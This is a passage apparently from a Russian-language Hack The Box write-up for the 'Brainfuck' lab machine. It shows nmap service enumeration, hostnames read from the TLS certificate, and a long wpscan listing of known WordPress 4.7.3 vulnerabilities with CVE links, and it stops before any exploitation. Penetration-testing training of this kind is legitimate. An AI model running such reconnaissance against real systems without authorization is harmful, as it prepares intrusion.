Обзор сервисов
$ nmapAutomator.sh -H 10.10.10.17 -f Full
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
| 256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_ 256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: UIDL SASL(PLAIN) CAPA USER TOP AUTH-RESP-CODE PIPELINING RESP-CODES
143/tcp open imap Dovecot imapd
|_imap-capabilities: listed LITERAL+ Pre-login IMAP4rev1 IDLE OK have AUTH=PLAINA0001 ENABLE post-login capabilities SASL-IR more ID LOGIN-REFERRALS
443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after: 2027-04-11T11:19:29
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Веб
Проверим HTTPS сертификат => [email protected]
www.brainfuck.htb=> wordpresssup3rs3cr3t.brainfuck.htb=> forum
$ wpscan --url https://brainfuck.htb/ --disable-tls-checks
[+] Headers
| Interesting Entry: Server: nginx/1.10.0 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: https://brainfuck.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: https://brainfuck.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: https://brainfuck.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.7.3 identified (Insecure, released on 2017-03-06).
| Found By: Rss Generator (Passive Detection)
| - https://brainfuck.htb/?feed=rss2, <generator>https://wordpress.org/?v=4.7.3</generator>
| - https://brainfuck.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.7.3</generator>
|
| [!] 52 vulnerabilities identified:
|
| [!] Title: WordPress 2.3-4.8.3 - Host Header Injection in Password Reset
| References:
| - https://wpscan.com/vulnerability/b3f2f3db-75e4-4d48-ae5e-d4ff172bc093
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8295
| - https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html
| - https://blog.dewhurstsecurity.com/2017/05/04/exploitbox-wordpress-security-advisories.html
| - https://core.trac.wordpress.org/ticket/25239
|
| [!] Title: WordPress 2.7.0-4.7.4 - Insufficient Redirect Validation
| Fixed in: 4.7.5
| References:
| - https://wpscan.com/vulnerability/e9e59e08-0586-4332-a394-efb648c7cd84
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9066
| - https://github.com/WordPress/WordPress/commit/76d77e927bb4d0f87c7262a50e28d84e01fd2b11
| - https://wordpress.org/news/2017/05/wordpress-4-7-5/
|
| [!] Title: WordPress 2.5.0-4.7.4 - Post Meta Data Values Improper Handling in XML-RPC
| Fixed in: 4.7.5
| References:
| - https://wpscan.com/vulnerability/973c55ed-e120-46a1-8dbb-538b54d03892
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9062
| - https://wordpress.org/news/2017/05/wordpress-4-7-5/
| - https://github.com/WordPress/WordPress/commit/3d95e3ae816f4d7c638f40d3e936a4be19724381
|
| [!] Title: WordPress 3.4.0-4.7.4 - XML-RPC Post Meta Data Lack of Capability Checks
| Fixed in: 4.7.5
| References:
| - https://wpscan.com/vulnerability/a5a4f4ca-19e5-4665-b501-5c75e0f56001
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9065
| - https://wordpress.org/news/2017/05/wordpress-4-7-5/
| - https://github.com/WordPress/WordPress/commit/e88a48a066ab2200ce3091b131d43e2fab2460a4
|
| [!] Title: WordPress 2.5.0-4.7.4 - Filesystem Credentials Dialog CSRF
| Fixed in: 4.7.5
| References:
| - https://wpscan.com/vulnerability/efe46d58-45e4-4cd6-94b3-1a639865ba5b
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9064
| - https://wordpress.org/news/2017/05/wordpress-4-7-5/
| - https://github.com/WordPress/WordPress/commit/38347d7c580be4cdd8476e4bbc653d5c79ed9b67
| - https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_connection_information.html
|
| [!] Title: WordPress 3.3-4.7.4 - Large File Upload Error XSS
| Fixed in: 4.7.5
| References:
| - https://wpscan.com/vulnerability/78ae4791-2703-4fdd-89b2-76c674994acf
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9061
| - https://wordpress.org/news/2017/05/wordpress-4-7-5/
| - https://github.com/WordPress/WordPress/commit/8c7ea71edbbffca5d9766b7bea7c7f3722ffafa6
| - https://hackerone.com/reports/203515
| - https://hackerone.com/reports/203515
|
| [!] Title: WordPress 3.4.0-4.7.4 - Customizer XSS & CSRF
| Fixed in: 4.7.5
| References:
| - https://wpscan.com/vulnerability/e9535a5c-c6dc-4742-be40-1b94a718d3f3
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9063
| - https://wordpress.org/news/2017/05/wordpress-4-7-5/
| - https://github.com/WordPress/WordPress/commit/3d10fef22d788f29aed745b0f5ff6f6baea69af3
|
| [!] Title: WordPress 2.3.0-4.8.1 - $wpdb->prepare() potential SQL Injection
| Fixed in: 4.7.6
| References:
| - https://wpscan.com/vulnerability/9b3414c0-b33b-4c55-adff-718ff4c3195d
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14723
| - https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/70b21279098fc973eae803693c0705a548128e48
| - https://github.com/WordPress/WordPress/commit/fc930d3daed1c3acef010d04acc2c5de93cd18ec
|
| [!] Title: WordPress 2.3.0-4.7.4 - Authenticated SQL injection
| Fixed in: 4.7.5
| References:
| - https://wpscan.com/vulnerability/95e87ae5-eb01-4e27-96d3-b1f013deff1c
| - https://medium.com/websec/wordpress-sqli-bbb2afcc8e94
| - https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/70b21279098fc973eae803693c0705a548128e48
| - https://wpvulndb.com/vulnerabilities/8905
|
| [!] Title: WordPress 2.9.2-4.8.1 - Open Redirect
| Fixed in: 4.7.6
| References:
| - https://wpscan.com/vulnerability/571beae9-d92d-4f9b-aa9f-7c94e33683a1
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14725
| - https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
| - https://core.trac.wordpress.org/changeset/41398
|
| [!] Title: WordPress 3.0-4.8.1 - Path Traversal in Unzipping
| Fixed in: 4.7.6
| References:
| - https://wpscan.com/vulnerability/d74ee25a-d845-46b5-afa6-b0a917b7737a
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14719
| - https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
| - https://core.trac.wordpress.org/changeset/41457
| - https://hackerone.com/reports/205481
|
| [!] Title: WordPress 4.4-4.8.1 - Path Traversal in Customizer
| Fixed in: 4.7.6
| References:
| - https://wpscan.com/vulnerability/6ef4eb23-d5a9-44b3-8402-f4b7b1a91522
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14722
| - https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
| - https://core.trac.wordpress.org/changeset/41397
|
| [!] Title: WordPress 4.4-4.8.1 - Cross-Site Scripting (XSS) in oEmbed
| Fixed in: 4.7.6
| References:
| - https://wpscan.com/vulnerability/d1bb1404-ebdc-4bfd-9cae-d728e53c66e2
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14724
| - https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
| - https://core.trac.wordpress.org/changeset/41448
|
| [!] Title: WordPress 4.2.3-4.8.1 - Authenticated Cross-Site Scripting (XSS) in Visual Editor
| Fixed in: 4.7.6
| References:
| - https://wpscan.com/vulnerability/e525b3ed-866e-4c48-8715-19fc8be14939
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14726
| - https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
| - https://core.trac.wordpress.org/changeset/41395
| - https://blog.sucuri.net/2017/09/stored-cross-site-scripting-vulnerability-in-wordpress-4-8-1.html
|
| [!] Title: WordPress <= 4.8.2 - $wpdb->prepare() Weakness
| Fixed in: 4.7.7
| References:
| - https://wpscan.com/vulnerability/c161f0f0-6527-4ba4-a43d-36c644e250fc
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16510
| - https://wordpress.org/news/2017/10/wordpress-4-8-3-security-release/
| - https://github.com/WordPress/WordPress/commit/a2693fd8602e3263b5925b9d799ddd577202167d
| - https://twitter.com/ircmaxell/status/923662170092638208
| - https://blog.ircmaxell.com/2017/10/disclosure-wordpress-wpdb-sql-injection-technical.html
|
| [!] Title: WordPress 2.8.6-4.9 - Authenticated JavaScript File Upload
| Fixed in: 4.7.8
| References:
| - https://wpscan.com/vulnerability/0d2323bd-aecd-4d58-ba4b-597a43034f57
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17092
| - https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509
|
| [!] Title: WordPress 1.5.0-4.9 - RSS and Atom Feed Escaping
| Fixed in: 4.7.8
| References:
| - https://wpscan.com/vulnerability/1f71a775-e87e-47e9-9642-bf4bce99c332
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094
| - https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de
|
| [!] Title: WordPress 4.3.0-4.9 - HTML Language Attribute Escaping
| Fixed in: 4.7.8
| References:
| - https://wpscan.com/vulnerability/a6281b30-c272-4d44-9420-2ebd3c8ff7da
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17093
| - https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/3713ac5ebc90fb2011e98dfd691420f43da6c09a
|
| [!] Title: WordPress 3.7-4.9 - 'newbloguser' Key Weak Hashing
| Fixed in: 4.7.8
| References:
| - https://wpscan.com/vulnerability/809f68d5-97aa-44e5-b181-cc7bdf5685c5
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17091
| - https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c
|
| [!] Title: WordPress 3.7-4.9.1 - MediaElement Cross-Site Scripting (XSS)
| Fixed in: 4.7.9
| References:
| - https://wpscan.com/vulnerability/6ac45244-9f09-4e9c-92f3-f339d450fe72
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5776
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9263
| - https://github.com/WordPress/WordPress/commit/3fe9cb61ee71fcfadb5e002399296fcc1198d850
| - https://wordpress.org/news/2018/01/wordpress-4-9-2-security-and-maintenance-release/
| - https://core.trac.wordpress.org/ticket/42720
|
| [!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)
| References:
| - https://wpscan.com/vulnerability/5e0c1ddd-fdd0-421b-bdbe-3eee6b75c919
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
| - https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
| - https://github.com/quitten/doser.py
| - https://thehackernews.com/2018/02/wordpress-dos-exploit.html
|
| [!] Title: WordPress 3.7-4.9.4 - Remove localhost Default
| Fixed in: 4.7.10
| References:
| - https://wpscan.com/vulnerability/835614a2-ad92-4027-b485-24b39038171d
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10101
| - https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/804363859602d4050d9a38a21f5a65d9aec18216
|
| [!] Title: WordPress 3.7-4.9.4 - Use Safe Redirect for Login
| Fixed in: 4.7.10
| References:
| - https://wpscan.com/vulnerability/01b587e0-0a86-47af-a088-6e5e350e8247
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10100
| - https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/14bc2c0a6fde0da04b47130707e01df850eedc7e
|
| [!] Title: WordPress 3.7-4.9.4 - Escape Version in Generator Tag
| Fixed in: 4.7.10
| References:
| - https://wpscan.com/vulnerability/2b7c77c3-8dbc-4a2a-9ea3-9929c3373557
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10102
| - https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/31a4369366d6b8ce30045d4c838de2412c77850d
|
| [!] Title: WordPress <= 4.9.6 - Authenticated Arbitrary File Deletion
| Fixed in: 4.7.11
| References:
| - https://wpscan.com/vulnerability/42ab2bd9-bbb1-4f25-a632-1811c5130bb4
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12895
| - https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
| - http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/
| - https://github.com/WordPress/WordPress/commit/c9dce0606b0d7e6f494d4abe7b193ac046a322cd
| - https://wordpress.org/news/2018/07/wordpress-4-9-7-security-and-maintenance-release/
| - https://www.wordfence.com/blog/2018/07/details-of-an-additional-file-deletion-vulnerability-patched-in-wordpress-4-9-7/
|
| [!] Title: WordPress <= 5.0 - Authenticated File Delete
| Fixed in: 4.7.12
| References:
| - https://wpscan.com/vulnerability/e3ef8976-11cb-4854-837f-786f43cbdf44
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20147
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - Authenticated Post Type Bypass
| Fixed in: 4.7.12
| References:
| - https://wpscan.com/vulnerability/999dba5a-82fb-4717-89c3-6ed723cc7e45
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20152
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| - https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/
|
| [!] Title: WordPress <= 5.0 - PHP Object Injection via Meta Data
| Fixed in: 4.7.12
| References:
| - https://wpscan.com/vulnerability/046ff6a0-90b2-4251-98fc-b7fba93f8334
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20148
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - Authenticated Cross-Site Scripting (XSS)
| Fixed in: 4.7.12
| References:
| - https://wpscan.com/vulnerability/3182002e-d831-4412-a27d-a5e39bb44314
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20153
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - Cross-Site Scripting (XSS) that could affect plugins
| Fixed in: 4.7.12
| References:
| - https://wpscan.com/vulnerability/7f7a0795-4dd7-417d-804e-54f12595d1e4
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20150
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| - https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460
|
| [!] Title: WordPress <= 5.0 - User Activation Screen Search Engine Indexing
| Fixed in: 4.7.12
| References:
| - https://wpscan.com/vulnerability/65f1aec4-6d28-4396-88d7-66702b21c7a2
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20151
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - File Upload to XSS on Apache Web Servers
| Fixed in: 4.7.12
| References:
| - https://wpscan.com/vulnerability/d741f5ae-52ca-417d-a2ca-acdfb7ca5808
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20149
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| - https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a
|
| [!] Title: WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution
| Fixed in: 5.0.1
| References:
| - https://wpscan.com/vulnerability/1a693e57-f99c-4df6-93dd-0cdc92fd0526
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8943
| - https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
| - https://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce
|
| [!] Title: WordPress 3.9-5.1 - Comment Cross-Site Scripting (XSS)
| Fixed in: 4.7.13
| References:
| - https://wpscan.com/vulnerability/d150f43f-6030-4191-98b8-20ae05585936
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9787
| - https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b
| - https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/
| - https://blog.ripstech.com/2019/wordpress-csrf-to-rce/
|
| [!] Title: WordPress <= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation
| Fixed in: 4.7.14
| References:
| - https://wpscan.com/vulnerability/4494a903-5a73-4cad-8c14-1e7b4da2be61
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16222
| - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/30ac67579559fe42251b5a9f887211bf61a8ed68
| - https://hackerone.com/reports/339483
|
| [!] Title: WordPress <= 5.2.3 - Stored XSS in Customizer
| Fixed in: 4.7.15
| References:
| - https://wpscan.com/vulnerability/d39a7b84-28b9-4916-a2fc-6192ceb6fa56
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17674
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
| Fixed in: 4.7.15
| References:
| - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
| - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
| - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
|
| [!] Title: WordPress <= 5.2.3 - Stored XSS in Style Tags
| Fixed in: 4.7.15
| References:
| - https://wpscan.com/vulnerability/d005b1f8-749d-438a-8818-21fba45c6465
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17672
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - JSON Request Cache Poisoning
| Fixed in: 4.7.15
| References:
| - https://wpscan.com/vulnerability/7804d8ed-457a-407e-83a7-345d3bbe07b2
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17673
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://github.com/WordPress/WordPress/commit/b224c251adfa16a5f84074a3c0886270c9df38de
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - Server-Side Request Forgery (SSRF) in URL Validation
| Fixed in: 4.7.15
| References:
| - https://wpscan.com/vulnerability/26a26de2-d598-405d-b00c-61f71cfacff6
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17669
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17670
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://github.com/WordPress/WordPress/commit/9db44754b9e4044690a6c32fd74b9d5fe26b07b2
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - Admin Referrer Validation
| Fixed in: 4.7.15
| References:
| - https://wpscan.com/vulnerability/715c00e3-5302-44ad-b914-131c162c3f71
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17675
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://github.com/WordPress/WordPress/commit/b183fd1cca0b44a92f0264823dd9f22d2fd8b8d0
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.3 - Authenticated Improper Access Controls in REST API
| Fixed in: 4.7.16
| References:
| - https://wpscan.com/vulnerability/4a6de154-5fbd-4c80-acd3-8902ee431bd8
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20043
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16788
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-g7rg-hchx-c2gw
|
| [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Crafted Links
| Fixed in: 4.7.16
| References:
| - https://wpscan.com/vulnerability/23553517-34e3-40a9-a406-f3ffbe9dd265
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16773
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://hackerone.com/reports/509930
| - https://github.com/WordPress/wordpress-develop/commit/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xvg2-m2f4-83m7
|
| [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Block Editor Content
| Fixed in: 4.7.16
| References:
| - https://wpscan.com/vulnerability/be794159-4486-4ae1-a5cc-5c190e5ddf5f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16781
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16780
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pg4x-64rh-3c9v
|
| [!] Title: WordPress <= 5.3 - wp_kses_bad_protocol() Colon Bypass
| Fixed in: 4.7.16
| References:
| - https://wpscan.com/vulnerability/8fac612b-95d2-477a-a7d6-e5ec0bb9ca52
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20041
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/commit/b1975463dd995da19bb40d3fa0786498717e3c53
|
| [!] Title: WordPress < 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated
| Fixed in: 4.7.17
| References:
| - https://wpscan.com/vulnerability/7db191c0-d112-4f08-a419-a1cd81928c4e
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11027
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47634/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ww7v-jg8c-q6jw
|
| [!] Title: WordPress < 5.4.1 - Unauthenticated Users View Private Posts
| Fixed in: 4.7.17
| References:
| - https://wpscan.com/vulnerability/d1e1ba25-98c9-4ae7-8027-9632fb825a56
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11028
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47635/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xhx9-759f-6p2w
|
| [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Customizer
| Fixed in: 4.7.17
| References:
| - https://wpscan.com/vulnerability/4eee26bd-a27e-4509-a3a5-8019dd48e429
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11025
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47633/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4mhg-j6fx-5g3c
|
| [!] Title: WordPress < 5.4.1 - Cross-Site Scripting (XSS) in wp-object-cache
| Fixed in: 4.7.17
| References:
| - https://wpscan.com/vulnerability/e721d8b9-a38f-44ac-8520-b4a9ed6a5157
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11029
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47637/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-568w-8m88-8g2c
|
| [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in File Uploads
| Fixed in: 4.7.17
| References:
| - https://wpscan.com/vulnerability/55438b63-5fc9-4812-afc4-2f1eff800d5f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11026
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47638/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-3gw2-4656-pfr2
| - https://hackerone.com/reports/179695
|
| [!] Title: WordPress 4.7-5.7 - Authenticated Password Protected Pages Exposure
| Fixed in: 4.7.20
| References:
| - https://wpscan.com/vulnerability/6a3ec618-c79e-4b9c-9020-86b157458ac5
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29450
| - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/
| - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pmmh-2f36-wvhq
| - https://core.trac.wordpress.org/changeset/50717/
| - https://www.youtube.com/watch?v=J2GXmxAdNWs
|
| [!] Title: WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer
| Fixed in: 4.7.21
| References:
| - https://wpscan.com/vulnerability/4cd46653-4470-40ff-8aac-318bee2f998d
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36326
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19296
| - https://github.com/WordPress/WordPress/commit/267061c9595fedd321582d14c21ec9e7da2dcf62
| - https://wordpress.org/news/2021/05/wordpress-5-7-2-security-release/
| - https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9
| - https://www.wordfence.com/blog/2021/05/wordpress-5-7-2-security-release-what-you-need-to-know/
| - https://www.youtube.com/watch?v=HaW15aMzBUM
[+] WordPress theme in use: proficient
| Location: https://brainfuck.htb/wp-content/themes/proficient/
| Last Updated: 2021-05-09T00:00:00.000Z
